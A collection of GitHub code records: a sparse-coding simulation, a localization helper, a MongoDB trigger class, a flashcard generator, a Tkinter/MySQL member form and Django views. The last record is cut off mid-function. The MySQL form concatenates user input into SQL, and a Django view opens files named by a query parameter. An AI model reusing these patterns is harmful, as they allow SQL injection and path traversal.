{"seq_id":"37660538801","text":"import torch as th\nfrom torch.nn.parameter import Parameter\nimport numpy as np\nfrom tqdm import tqdm\nimport matplotlib.pylab as plt\nfrom matplotlib import animation\nimport os.path as osp\nfrom time import time\nfrom mt_sde_solver import *\n\ndef L2_reconstr_loss(A, s, x, sigma):\n    return 0.5 * th.norm(x - A @ s)**2 / sigma**2 \ndef E_SC_L0(params, t):\n    A = params['A']\n    s = params['s']\n    x = params['x']\n    sigma = params['sigma']\n    l1 = params['l1']\n    #return L2_reconstr_loss(A, s, x, sigma)\n    if False:\n        l0 = params['l0']\n        s0 = -th.log(1 - l0) / l1\n        u = (s - s0*(th.sign(s))) * (th.abs(s) > s0).float()\n    return 0 * L2_reconstr_loss(A, s, x, sigma) + l1 * th.norm(s, p=1)\nclass MT_SC:\n    def __init__(self, n_dim, n_sparse, tau_s, tau_x, tau_A, l0, l1, sigma):\n        self.n_dim = n_dim\n        self.n_sparse = n_sparse\n\n        self.tau_s = tau_s\n        self.tau_x = tau_x\n        self.tau_A = tau_A\n\n        self.l0 = l0\n        self.l1 = l1\n        self.sigma = sigma\n\n        self.init_params()\n        self.solver = MixT_SDE(self.params, E_SC_L0)\n    def init_params(self):\n        A = get_param((self.n_dim, self.n_sparse), tau=self.tau_A, T=0)\n        s = get_param((self.n_sparse), tau=self.tau_s, T=1)\n        x = get_param((self.n_dim), tau=self.tau_x)\n\n        A.data.normal_()\n        A.data *= 4\n\n        if True:\n            A.freq = 0\n            A.requires_grad = False\n            A.data = th.eye(2)\n            s.data = th.Tensor((1, 2))\n            s.T = 1\n            x.T = 0\n            x.freq = 0\n            x.data *= 0\n\n        l0 = get_param(1, tau=None, init=self.l0)\n        l1 = get_param(1, tau=None, init=self.l1)\n        sigma = get_param(1, tau=None, init=self.sigma)\n        self.params = {\n                'A' : A,\n                's' : s,\n                'x' : x,\n                'l0' : l0,\n                'l1' : l1,\n                'sigma' : sigma\n                }\n    def solve_X(self, X, tspan):\n        return self.solver.solve('x', X, tspan)\n    def save_evolution(self, param_evol, n_frames=100, overlap=3, f_out=None):\n\n        x_soln = param_evol['x'].data.numpy() \n        s_soln = param_evol['s'].data.numpy()\n        A_soln = param_evol['A'].data.numpy()\n        tspan =  param_evol['tspan'].data.numpy()\n\n        tau_s = self.params['s'].freq ** (-1)\n        tau_A = self.params['A'].freq ** (-1)\n        tau_x = self.params['x'].freq ** (-1)\n\n        fig, axes = plt.subplots(ncols=2, figsize=(14, 6))\n        ax = axes[0]\n\n        sx, sy = [], []\n        xx, xy = [], []\n        scat_s = ax.scatter(sx, sy, s=5, c='b', label=rf'$A \\mathbf {{s}}$ : Reconstruction, $\\tau_s = {tau_s} \\tau$')\n        scat_x = ax.scatter(xx, xy, s=50, c='r', label=rf'$\\mathbf {{x}}$ : Data, $\\tau_x = {tau_x}$')\n\n        a1 = A_soln[0, :, 0] * 5\n        a2 = A_soln[0, :, 1] * 5\n        _, _, n_sparse = A_soln.shape\n        #line_A_1, = ax.plot([], [], c='g', label=rf'$A$ : Dictionary, $\\tau_A = {tau_A} \\tau$')\n        A_arrow_0, = ax.plot([], [], c='g', label=rf'$A$ : Dictionary, $\\tau_A = {tau_A} \\tau$')\n        A_arrows = [A_arrow_0]\n        for A in range(self.n_sparse - 1):\n            A_arrow, = ax.plot([], [], c='g')\n            A_arrows.append(A_arrow)\n\n        s_n = np.arange(len(s_soln[0]))\n        s_h = s_soln[0]\n        s_bar = axes[1].bar(s_n, s_h, fc='k')\n        axes[1].set_ylim(-10, 10)\n\n        A = A_soln[0]\n        x_max, y_max = (s_soln @ A.T).max(0)\n        x_min, y_min = (s_soln @ A.T).min(0)\n        ax.set_xlim(-15, 15)\n        ax.set_ylim(-15, 15)\n        ax.set_aspect(1)\n        fig.legend(loc='lower right')\n\n        idx_stride = int(len(s_soln) // n_frames)\n\n        def animate(nf):\n            idx0 = max(0, (nf - overlap + 1) * idx_stride)\n            idx1 = (nf + 1) * idx_stride \n\n            T = tspan[idx0:idx1]\n            y = s_soln[idx0:idx1]\n            y = y - np.sign(y)\n\n            ti = T[0]\n            tf = T[-1] \n\n            A = A_soln[idx1]\n        \n            #u = (y - self.s0*(np.sign(y))) * (np.abs(y) > self.s0)\n            u = y\n            scat_s.set_offsets(u @ A.T)\n            #scat_s.set_array(np.linspace(0, 1, len(T)))\n            #scat_s.cmap = plt.cm.get_cmap('Blues')\n\n            x = x_soln[idx0:idx1]\n            scat_x.set_offsets(x)\n\n            for n in range(self.n_sparse):\n                a = A[:, n] * 2\n                A_arrows[n].set_xdata([0, a[0]])\n                A_arrows[n].set_ydata([0, a[1]])\n\n            fig.suptitle(rf'Time: ${ti:.2f} \\tau - {tf:.2f} \\tau$')\n\n            for i, b in enumerate(s_bar):\n                b.set_height(u[0, i])\n\n        anim = animation.FuncAnimation(fig, animate, frames=n_frames-1, interval=100, repeat=True)\n        if f_out is not None:\n            anim.save(f_out)\n        plt.show()\n\n\nif __name__ == '__main__':\n    hyper_params = {}\n    hyper_params['n_dim'] = 2\n    hyper_params['n_sparse'] = 2\n    hyper_params['tau_s'] = 1e-2\n    hyper_params['tau_x'] = 1\n    hyper_params['tau_A'] = 4e1\n    hyper_params['l0'] = .5\n    hyper_params['l1'] = 1\n    hyper_params['sigma'] = 1\n\n    mtsc = MT_SC(**hyper_params)\n\n    frac = 0.05\n    T_RANGE = 1e0 * frac\n    T_STEPS = int(1e4 * frac)\n\n    tspan = th.linspace(0, T_RANGE, T_STEPS + 1)[:-1]\n    print(tspan[1] - tspan[0])\n\n    X = th.tensor([\n        [np.cos(2 *np.pi/3), np.sin(-2*np.pi/3)],\n        [np.cos(2 *np.pi/3), np.sin(2 * np.pi/3)],\n        [1, 0]\n        ]).float()\n    X = th.tensor([\n        [0, 0]\n        ]).float()\n    X *= 10\n    soln = mtsc.solve_X(X, tspan)\n    print(soln['s'])\n    plt.hist(soln['s'][:, 0], bins=20)\n    #plt.scatter(*(soln['s']).data.numpy().T, c=np.arange(len(tspan)))\n    plt.show()\n    #mtsc.save_evolution(soln)\n","repo_name":"mike-fang/mixed_time_sparse_coding","sub_path":"misc/mixed_time_sc.py","file_name":"mixed_time_sc.py","file_ext":"py","file_size_in_byte":5710,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"10329509341","text":"import os\nimport json\nfrom functools import reduce\n\n\nclass Localization:\n    def __init__(self, path):\n        self.locale_path = \"./locales\"\n        self.locales = {}\n        self.current_locale = \"\"\n\n    def set_locales_directory(self, path):\n        self.locale_path = \"./{}\".format(path)\n        self.locales = {}\n        self.current_locale = \"en\"\n\n        for filename in os.listdir(self.locale_path):\n            with open(os.path.join(self.locale_path, filename), \"r\") as jsonFile:\n                locale_name = filename.replace(\".json\", \"\")\n                self.locales[locale_name] = json.load(jsonFile)\n                jsonFile.close()\n\n    def set_locale(self, locale_name):\n        assert locale_name in self.locales.keys(), \"There is no locale [{}] in folder [{}]\".format(locale_name, self.locale_path)\n        self.current_locale = locale_name\n\n    def get(self, key, locale):\n        assert locale != \"\", \"There is no set locale\"\n        assert (type(locale) == str), \"You passed locale in wrong type: {}. It should be str\".format(locale)\n        assert locale in self.locales.keys(), \"There is no locale [{}] in folder [{}]\".format(locale, self.locale_path)\n\n        path = key.split(\".\")\n        result = reduce(lambda obj, obj_key: obj.get(obj_key), path, self.locales[locale])\n\n        assert type(result) is str, \"The key should lead to the final translation, not to the group\"\n        return result\n\n\nlocalization = Localization(\"locales\")\n\n\ndef _(text, custom_locale=None):\n    locale = custom_locale if custom_locale else localization.current_locale\n    return localization.get(text, locale)\n","repo_name":"Noxormy/telegramBotSample","sub_path":"localization.py","file_name":"localization.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"37826221251","text":"import logging\nfrom collections import defaultdict\n\nimport gevent\n\nlog = logging.getLogger(__name__)\n\nclass Triggers(object):\n\n    def __init__(self, connection, checkpoint):\n        self._conn = connection\n        self._oplog = self._conn.local.oplog.rs\n        self._oplog.ensure_index('ts')\n        self._callbacks = defaultdict(list)\n        self.checkpoint = checkpoint\n\n    def run(self):\n        while True:\n            yield self.checkpoint\n            spec = dict(ts={'$gt': self.checkpoint})\n            q = self._oplog.find(\n                spec, tailable=True, await_data=True)\n            found=False\n            # log.debug('Query on %s', self._oplog)\n            for op in q.sort('$natural'):\n                found = True\n                self.checkpoint = op['ts']\n                for callback in self._callbacks.get(\n                    (op['ns'], op['op']), []):\n                    callback(**op)\n            if found:\n                gevent.sleep(0)\n            else:\n                gevent.sleep(1)\n\n    def register(self, namespace, operations, func=None):\n        def wrapper(func):\n            for op in operations:\n                self._callbacks[namespace, op].append(func)\n            return func\n        if func:\n            return wrapper(func)\n        else:\n            return wrapper\n\n","repo_name":"rick446/mmm","sub_path":"mmm/triggers.py","file_name":"triggers.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":69,"dataset":"github-code","pt":"35"}
{"seq_id":"8382541021","text":"import os\nimport shutil\n\n\ndef pop_title(source):\n    for i, line in enumerate(source):\n        line = line.strip()\n        if line.startswith(\"# \"):\n            line = line[2:]\n            line = line[0].lower() + line[1:]\n            if line.endswith('?'):\n                line = line[0:-1]\n            source.pop(i)\n            return line\n    return ''\n\ndef del_empty_lines(source):\n    result = []\n    for line in source:\n        if len(line.strip()) > 0:\n            result.append(line.rstrip())\n    return result\n\n\ndef del_first_last_lines(source):\n    source.pop(0)\n    source.pop(-1)\n    return source\n\n\ndef is_item(line):\n    if len(line) < 1:\n        return False\n    return line[0].isdigit() or line[0] == '-'\n\n\ndef has_items(source):\n    for line in source:\n        if is_item(line):\n            return True\n    return False\n\n\ndef prepare_question(question, title):\n    result = 'Em, ' + title.strip() + ', como se define o item, ' + question.strip() + '.'\n    return result\n\n\ndef prepare_answer(answer):\n    result = answer.strip()\n    if len(result) > 1:\n        result = result[0].upper() + result[1:]\n    return result\n\n\ndef split_item_colon(item):\n    parts = item.split(\":\")\n    question = None\n    answer = None\n    for part in parts:\n        if not question:\n            question = part\n        elif not answer:\n            answer = part.lstrip()\n        else:\n            answer += \":\"\n            answer += part\n    return question, answer\n\ndef find_verb(item):\n    verbs = ['é', 'são']\n    for verb in verbs:\n        if item.find(verb):\n            return verb\n    return ''\n\ndef split_item_verb(item):\n    verb = find_verb(item)\n    parts = item.split(verb)\n    question = None\n    answer = None\n    for part in parts:\n        if not question:\n            question = part\n        elif not answer:\n            answer = part.lstrip()\n        else:\n            answer += verb\n            answer += part\n    return question, answer\n\ndef split_item(item):\n    if item.find(':') > -1:\n        return split_item_colon(item)\n    else:\n        return split_item_verb(item)    \n\n\ndef get_items(source, title):\n    result = []\n    item = \"\"\n    for line in source:\n        if is_item(line):\n            if item:\n                question, answer = split_item(item)\n                if question and answer:\n                    question = prepare_question(question, title)\n                    answer = prepare_answer(answer)\n                    result.append((question, answer))\n            item = line\n        else:\n            if item:\n                item += '\\n'\n                item += line\n    return result\n    \n\ndef get_cards(source):\n    title = pop_title(source)\n    source = del_empty_lines(source)\n    source = del_first_last_lines(source)\n    if has_items(source):\n        return get_items(source, title)\n    else:\n        return [(title, \"\\n\".join(source))]\n\n\ndef read_source(file_name):\n    print('Lendo fonte: ' + file_name)\n    with open(ROOT_PATH + file_name, 'r', encoding='utf-8') as file:\n        return file.readlines()\n\nROOT_PATH = '..\\\\pibulk\\\\pool\\\\'\nPROC_PATH = '..\\\\pibulk\\\\proc\\\\'\nDEST_PATH = '..\\\\picard\\\\append.txt'\n\nif __name__ == '__main__':\n    for file_name in os.listdir(ROOT_PATH):\n        cards = get_cards(read_source(file_name))\n        if cards:\n            for card in cards:\n                question, answer = card\n                with open(DEST_PATH, mode='a', encoding='UTF-8') as file:\n                    file.write('\\n\\n')\n                    file.write('--------- Pergunta ---------')\n                    file.write('\\n\\n')\n                    file.write(question)\n                    file.write('\\n\\n')\n                    file.write('--------- Resposta ---------')\n                    file.write('\\n\\n')\n                    file.write(answer)\n                    file.write('\\n\\n')\n            shutil.move(ROOT_PATH + file_name, PROC_PATH + file_name)\n","repo_name":"pointel-com-br/www.pointel","sub_path":"public/piarm/picarding.py","file_name":"picarding.py","file_ext":"py","file_size_in_byte":3913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19506632604","text":"from tkinter import *\nfrom tkinter import messagebox\nimport mysql.connector as mysql\nclass AddMemberClass():\n    def __init__(self):\n        self.root = Tk()\n        self.root.title( 'Add Member' )\n        self.root.geometry( \"900x600+300+50\" )\n        self.root.minsize( 400 , 200 )\n        self.root.maxsize( 1100 , 700 )\n        self.root.configure( bg = '#bcdebb' )\n        Label( self.root , text = \" Note: Here you can make your study perfect... :) \" , bg = \"#66bd6d\" ,\n               relief = \"solid\" ,\n               anchor = \"w\" , height = 2 , font = \"Times%New%Roman 11 bold italic\" ).pack()\n\n        lf = LabelFrame( self.root , text = \"Fill the Details\" , fg = \"red\" , bg = '#33ff9e' ,\n                         relief = \"solid\" , font = \"Times%New%Roman 16 bold\" , height = 550 )\n        lf.pack( fill = \"both\" , expand = True , padx = 20 , pady = 20 )\n\n        # Functions\n        # ***********\n\n        def MemberAdded():\n            mc = member_code_variable_entry.get()\n            mv = member_validity_variable_entry.get()\n            mt = member_telephoneNo_variable_entry.get()\n            mn = new_member_variable_entry.get()\n            ma = Member_age_variable_entry.get()\n            if (mn == \"\" and mc == 0 and mt == 0):\n                messagebox.showerror( \"Warning\" , \"Please Enter Name , code, \\nand telephone number  at least\" )\n\n            else:\n                try:\n                    con = mysql.connect(host=\"localhost\", user=\"root\", password=\"\", database=\"lib_db\")\n                    cursor = con.cursor()\n                    cursor.execute(\"insert into members values('\" + mc + \"','\" + mn + \"','\" + ma + \"','\" + mv + \"','\" + mt + \"')\")\n                    cursor.execute(\"commit\")\n                    member_code_variable_entry.delete(0, 'end')\n                    Member_age_variable_entry.delete(0, 'end')\n                    new_member_variable_entry.delete(0, 'end')\n                    member_validity_variable_entry.delete(0, 'end')\n                    member_telephoneNo_variable_entry.delete(0, 'end')\n                    messagebox.showinfo(\"Insert status\", \" Data insert successfully\")\n                    con.close()\n                except mysql.errors.IntegrityError:\n                    messagebox.showerror('Warning', 'insert another isbn')\n\n        # Labels\n        new_member_name_Label = Label( lf , text = \"Enter name of new member:\" , bg = \"#33ff9e\" ,\n                                       anchor = \"w\" , height = 2 , font = (\"Times%New%Roman\" , 14 , \"bold italic\") )\n        new_member_name_Label.place( x = 20 , y = 20 )\n\n        member_age_Label = Label( lf , text = \"Enter member's age: \" , bg = \"#33ff9e\" ,\n                                  anchor = \"w\" , height = 2 , font = (\"Times%New%Roman\" , 14 , \"bold italic\") )\n        member_age_Label.place( x = 90 , y = 80 )\n\n        Validity_year_Label = Label( lf , text = \"Enter Validity in years: \" , bg = \"#33ff9e\" ,\n                                     anchor = \"w\" , height = 2 , font = (\"Times%New%Roman\" , 14 , \"bold italic\") )\n        Validity_year_Label.place( x = 70 , y = 140 )\n\n        Member_telephoneNo_Label = Label( lf , text = \"Enter telephone No: \" , bg = \"#33ff9e\" ,\n                                          anchor = \"w\" , height = 2 , font = (\"Times%New%Roman\" , 14 , \"bold italic\") )\n        Member_telephoneNo_Label.place( x = 95 , y = 200 )\n\n        Member_code_Label = Label( lf , text = \"Enter any Code of member: \" , bg = \"#33ff9e\" ,\n                                   anchor = \"w\" , height = 2 , font = (\"Times%New%Roman\" , 14 , \"bold italic\") )\n        Member_code_Label.place( x = 20 , y = 260 )\n\n        # Entries\n        # ********\n\n        new_member_variable_entry = Entry( lf , width = 25 , relief = \"solid\" ,\n                                           font = (\"Times%New%Roman\" , 15 , \"bold\") )\n        new_member_variable_entry.place( x = 300 , y = 30 )\n\n        Member_age_variable_entry = Entry( lf , width = 25 , relief = \"solid\" ,\n                                           font = (\"Times%New%Roman\" , 15 , \"bold\") )\n        Member_age_variable_entry.place( x = 300 , y = 90 )\n\n        member_validity_variable_entry = Entry( lf  , width = 25 ,\n                                                relief = \"solid\" ,\n                                                font = (\"Times%New%Roman\" , 15 , \"bold\") )\n        member_validity_variable_entry.place( x = 300 , y = 150 )\n\n        member_telephoneNo_variable_entry = Entry( lf , width = 25 ,\n                                                   relief = \"solid\" ,\n                                                   font = (\"Times%New%Roman\" , 15 , \"bold\") )\n        member_telephoneNo_variable_entry.place( x = 300 , y = 210 )\n\n        member_code_variable_entry = Entry( lf , width = 25 , relief = \"solid\" ,\n                                            font = (\"Times%New%Roman\" , 15 , \"bold\") )\n        member_code_variable_entry.place( x = 300 , y = 270 )\n\n        Add_Member_button = Button( lf , text = \"Add member\" , bg = '#4dff4d' ,\n                                    font = (\"Times%New%Roman\" , 20 , \"bold\") , relief = \"groove\"\n                                    , command = MemberAdded )\n        Add_Member_button.place( x = 120 , y = 350 )\n\n        Back_button = Button( lf , text = \"Back\" , bg = '#4dff4d' , font = (\"Times%New%Roman\" , 20 , \"bold\") ,\n                              relief = \"groove\"\n                              , command = self.root.destroy )\n        Back_button.place( x = 710 , y = 350 )\n    def AddMemberFunc(self):\n        self.root.mainloop()\n\n\n\n'''r = Tk()\nAddMemberClass()\n\nr.mainloop()'''","repo_name":"Muhammad-Usama-07/My_Desktop_Appliction","sub_path":"Library Management System/AddMember.py","file_name":"AddMember.py","file_ext":"py","file_size_in_byte":5622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12596197375","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django.views.generic import TemplateView\nfrom django.shortcuts import render, render_to_response, redirect, get_object_or_404\nfrom django.shortcuts import render\nfrom django.utils import timezone\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.urls import reverse_lazy\nfrom django.views import generic\n\nfrom django.contrib.auth import authenticate, login as auth_login\nfrom django.contrib.auth.decorators import user_passes_test\nfrom django.contrib import messages\nfrom django.http import HttpResponseRedirect, Http404\nfrom django.views.generic import ListView\nfrom django.utils.decorators import method_decorator\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.shortcuts import render\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.urls import reverse\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import login, authenticate\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.shortcuts import render, redirect\nfrom django.views.generic import TemplateView\nfrom blog.models import Post, Document, AuthorApply, QA, QAnswer, CustomProfile\nimport datetime\nfrom django.views.generic import TemplateView\nfrom django.shortcuts import render, render_to_response, redirect, get_object_or_404\nfrom django.shortcuts import render\nfrom django.utils import timezone\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.urls import reverse_lazy\nfrom django.views import generic\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.urls import reverse\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import login, authenticate\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.shortcuts import render, redirect\nfrom .forms import *\n\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.auth.models import User\nimport pandas as pd\nfrom django.template import RequestContext\nfrom django.db.models import Q\nfrom django.core.paginator import Paginator\nfrom django.shortcuts import render\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nimport re\nimport unidecode\nfrom django.http import HttpResponseRedirect\nimport operator\nfrom django.db.models import Q\nfrom functools import reduce\nfrom django.contrib.auth.forms import PasswordChangeForm, PasswordResetForm\nfrom django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom django.contrib.auth import update_session_auth_hash\nfrom django.template import RequestContext\nfrom django.template import loader\nfrom django.views.generic import ListView, DateDetailView\n\n\n\nclass SearchListView(TemplateView):\n    ql=''\n    template_name = 'search.html'\n    post_filter = Post.objects.all()\n    document_filter = Document.objects.all()\n    paginate_by = 10\n\n    def get(self, request, *args, **kwargs):\n\n\n        query = self.request.GET.get('q')\n        if query:\n            query_list = query.split()\n\n            self.post_filter = Post.objects.filter(\n                reduce(operator.and_,\n                       (Q(title__icontains=q) for q in query_list)) |\n                reduce(operator.and_,\n                       (Q(body__icontains=q) for q in query_list))\n            )\n            self.document_filter = Document.objects.filter(\n                reduce(operator.and_,\n                       (Q(dataset_title__icontains=q) for q in query_list)) |\n                reduce(operator.and_,\n                       (Q(file_name__icontains=q) for q in query_list))\n            )\n\n        return render(request, self.template_name, {'post_filter': self.post_filter,'document_filter':self.document_filter,'query':query})\n\n\nclass JupyterView(TemplateView):\n    template_name = 'dataset/jupyter.html'\n    time=timezone.now()\n\n    def get(self, request, *args, **kwargs):\n            return render(request,self.template_name,{'embed':'http://0.0.0.0:8890/notebooks/load_data.ipynb'})\n\nclass DatasetDetailView(TemplateView):\n    template_name = 'dataset/dataset_detail.html'\n    time=timezone.now()\n\n    def get(self, request, *args, **kwargs):\n        query = self.request.GET.get('filename')\n        if query:\n            document = Document.objects.filter(file_name=query)\n            data = pd.read_csv('media/documents/%s'%query)\n            # data = data.iloc[:5, :5]\n            # table_id = \"%s\" % post.file_name.split('.')[0]\n            data_html = data.to_html(justify=\"center\", border=\"0.1px\")\n\n\n\n        return render(request,self.template_name,{'document_list':document,'data_html':data_html})\n\nclass DatasetListView(TemplateView):\n    template_name = 'dataset/dataset_list.html'\n    documents = Document.objects.all().order_by('-publish_date')\n    time=timezone.now()\n\n    def get(self, request, *args, **kwargs):\n\n        page = request.GET.get('page', 1)\n        paginator = Paginator(self.documents, 5)\n        try:\n            document = paginator.page(page)\n        except PageNotAnInteger:\n            document = paginator.page(1)\n        except EmptyPage:\n            document = paginator.page(paginator.num_pages)\n\n        return render(request,self.template_name,{'document_list':document,'time':self.time,'new_title':'new'})\n\n    def post(self, request):\n        if request.method == 'POST':\n            category_select=request.POST.getlist('myselect')\n            q_objects = Q()\n            for item in category_select:\n                q_objects.add(Q(category=item), Q.OR)\n            print(q_objects)\n            documents = Document.objects.filter(q_objects)\n            return render(request,self.template_name,{'document_list':documents,'selected_category':category_select})\n        else:\n            return render(request,self.template_name,{'document_list':self.documents})\n\nclass AddDocumentView(TemplateView):\n    template_name = 'dataset/add_dataset.html'\n\n\n    def get(self, request, *args, **kwargs):\n        form = DocumentForm()\n        return render(request, self.template_name, {'form': form})\n\n    def post(self,request):\n        if request.method == 'POST':\n            form = DocumentForm(request.POST, request.FILES)\n\n            if form.is_valid():\n                post = form.save(commit=False)\n\n                try:\n                    exist_file = Document.objects.get(dataset_title=form.cleaned_data['dataset_title'])\n                    return render(request, self.template_name, {'exist_file': exist_file, 'form': form})\n\n                except Document.DoesNotExist:\n\n                    post.publisher = request.user\n                    post.publish_date = timezone.now()\n                    post.file_name = form.cleaned_data['document'].name\n                    post.dataset_title = form.cleaned_data['dataset_title']\n                    post.path = 'media/documents/%s'%post.file_name\n                    import os\n                    data = pd.read_csv(request.FILES[\"document\"] )\n                    data = data.iloc[:5, :5]\n                    # table_id = \"%s\" % post.file_name.split('.')[0]\n                    data_html = data.to_html(justify=\"center\",border=\"0.1px\")\n                    post.first_5_row = data_html\n                    # post.document = form.cleaned_data['document']\n                    form.save()\n                    DatasetListView.as_view()(self.request)\n                    return redirect('dataset-list')\n\n\n        else:\n            form = DocumentForm()\n        return render(request,self.template_name,{'form':form})\n\nclass PostListView(TemplateView):\n    template_name = 'blog/post_list_filter.html'\n    object_list = Post.objects.all().order_by('-publish')\n    time=timezone.now()\n\n    def get(self, request, *args, **kwargs):\n\n        page = request.GET.get('page', 1)\n        paginator = Paginator(self.object_list, 10)\n        try:\n            object_list = paginator.page(page)\n        except PageNotAnInteger:\n            object_list = paginator.page(1)\n        except EmptyPage:\n            object_list = paginator.page(paginator.num_pages)\n\n        return render(request,self.template_name,{'object_list':object_list,'time':self.time,'new_title':'new'})\n\n    def post(self, request):\n        if request.method == 'POST':\n            category_select=request.POST.getlist('myselect')\n            q_objects = Q()\n            for item in category_select:\n                q_objects.add(Q(category=item), Q.OR)\n            print(q_objects)\n            object_list = Post.objects.filter(q_objects)\n            return render(request,self.template_name,{'object_list':object_list,'selected_category':category_select})\n        else:\n            return render(request,self.template_name,{'object_list':self.object_list})\n\nclass AddPostView(TemplateView):\n    template_name = 'blog/send_post.html'\n\n\n    def get(self, request, *args, **kwargs):\n        form = PostForm()\n        edit_or_delete = self.request.GET.get('edit_or_delete')\n        title = self.request.GET.get('title')\n\n        if edit_or_delete == 'Düzenle':\n            post= Post.objects.filter(author=request.user,title=title)\n            return render(request, self.template_name, {'object_list':post,'post_form': form,'edit': True, 'first_title':title})\n        elif edit_or_delete == 'Sil':\n            post = Post.objects.filter(author=request.user, title=title)\n            return render(request, self.template_name,\n                          {'object_list': post, 'post_form': form, 'delete': True, 'first_title': title})\n        else:\n            return render(request, self.template_name,\n                          {'post_form': form})\n\n\n    def post(self, request):\n        args = {}\n        if request.method == 'POST':\n            edit_control= self.request.POST.get('control')\n            first_title = self.request.POST.get('first_title')\n            form = PostForm(request.POST)\n            print(form.is_valid())\n\n            if form.is_valid():\n                post = form.save(commit=False)\n\n                if edit_control == \"edit\":\n                    post = Post.objects.get(author=request.user,title=first_title)\n                    post.title = form.cleaned_data['title']\n                    post.category = form.cleaned_data['category']\n                    post.body = form.cleaned_data['body']\n                    post.allow_comments = form.cleaned_data['allow_comments']\n                    text = unidecode.unidecode(post.title).lower()\n                    post.slug = re.sub(r'[\\W_]+', '-', text)\n                    post.save(update_fields=['title','category','body','allow_comments','slug'])\n                    PostListView.as_view()(self.request)\n                    return HttpResponseRedirect(post.get_absolute_url())\n\n                elif edit_control == \"delete\":\n                    Post.objects.get(author=request.user,title=first_title).delete()\n                    PostListView.as_view()(self.request)\n                    return render(request, self.template_name, {'delete_info':True,'first_title':first_title})\n\n                # add-post alanı\n                try:\n                    exist_blog=Post.objects.get(title=form.cleaned_data['title'])\n                    return render(request, self.template_name, {'exist_blog':exist_blog,'post_form': form})\n\n                except Post.DoesNotExist:\n\n                    post.author = request.user\n                    post.publish = timezone.now()\n                    post.title = form.cleaned_data['title']\n                    post.category = form.cleaned_data['category']\n                    post.body = form.cleaned_data['body']\n                    post.allow_comments = form.cleaned_data['allow_comments']\n                    text = unidecode.unidecode(post.title).lower()\n                    post.slug=re.sub(r'[\\W_]+', '-', text)\n                    form.save()\n                    PostListView.as_view()(self.request)\n                    return HttpResponseRedirect(post.get_absolute_url())\n\n                #\n\n            else:\n                print(form.errors)\n        else:\n            pass\n        return PostListView.as_view()(self.request)\n\n\nclass AddQAView(TemplateView):\n    template_name = 'q&a/send_question.html'\n\n\n    def get(self, request, *args, **kwargs):\n        form = QAForm()\n        edit_or_delete = self.request.GET.get('edit_or_delete')\n        title = self.request.GET.get('title')\n        id = self.request.GET.get('id')\n\n        if edit_or_delete == 'Düzenle':\n            object = QA.objects.get(author=request.user, title=title, id=id)\n            return render(request, self.template_name,\n                          {'object': object, 'qa_form': form, 'edit': True})\n        elif edit_or_delete == 'Sil':\n            object = QA.objects.get(author=request.user, title=title, id=id)\n            return render(request, self.template_name,\n                          {'object': object, 'qa_form': form, 'delete': True})\n        else:\n            return render(request, self.template_name, {'qa_form': form})\n\n\n\n\n\n    def post(self, request):\n        if request.method == 'POST':\n\n            form = QAForm(request.POST)\n            id = self.request.POST.get('id')\n            edit_or_save = self.request.POST.get('edit_or_save')\n\n            if form.is_valid():\n\n                if edit_or_save == \"edit\":\n\n                    post = QA.objects.get(author=request.user, id=id)\n                    post.author = request.user\n                    post.edit_time = timezone.now()\n                    post.title = form.cleaned_data['title']\n                    post.body = form.cleaned_data['body']\n                    post.fixed = form.cleaned_data['fixed']\n                    post.save(update_fields=['author', 'edit_time', 'body', 'title', 'fixed'])\n                    return redirect('q&a-list')\n\n                elif edit_or_save == \"delete\":\n                    qa = QA.objects.get(author=request.user,id=id)\n                    qa.delete()\n                    return render(request, self.template_name, {'delete_info':True,'title':qa.title,'author':qa.author})\n                else:\n                    post = form.save(commit=False)\n                    post.author = request.user\n                    post.publish = timezone.now()\n                    post.title = form.cleaned_data['title']\n                    post.body = form.cleaned_data['body']\n                    post.fixed = form.cleaned_data['fixed']\n                    form.save()\n                    return redirect('q&a-list')\n        else:\n            form = QAForm()\n        return redirect('q&a-list')\n\n\nclass QAListView(TemplateView):\n    template_name = 'q&a/QA_list.html'\n    object_list = QA.objects.all().order_by('-publish')\n    time = timezone.now()\n\n    def get(self, request, *args, **kwargs):\n\n        page = request.GET.get('page', 1)\n        paginator = Paginator(self.object_list, 10)\n        try:\n            object_list = paginator.page(page)\n        except PageNotAnInteger:\n            object_list = paginator.page(1)\n        except EmptyPage:\n            object_list = paginator.page(paginator.num_pages)\n\n        return render(request, self.template_name, {'object_list': object_list})\n\n\n\nclass QAView(TemplateView):\n    template_name = 'q&a/qa-detail.html'\n\n\n    def get(self, request, *args, **kwargs):\n        form = QAnswerForm()\n        query_question = self.request.GET.get('title')\n        query_id = self.request.GET.get('id')\n        object_list = QA.objects.filter(title=query_question)\n        answer_list = QAnswer.objects.filter(compare_id=query_id)\n\n\n        return render(request, self.template_name, {'object_list': object_list, 'form': form, 'answer_list': answer_list})\n\n    def post(self, request):\n        query_question = self.request.GET.get('title')\n        query_id = self.request.GET.get('id')\n        edit_or_save = self.request.POST.get('edit_or_save')\n        answer_unique = self.request.POST.get('unique')\n        print(query_question,query_id,edit_or_save,answer_unique)\n        if request.method == 'POST':\n            form = QAnswerForm(request.POST)\n            print(form.is_valid())\n            print(form.errors)\n            if form.is_valid():\n                print(edit_or_save,answer_unique)\n                if edit_or_save == \"save\":\n                    post = QAnswer.objects.get(author=request.user, compare_id=query_id, 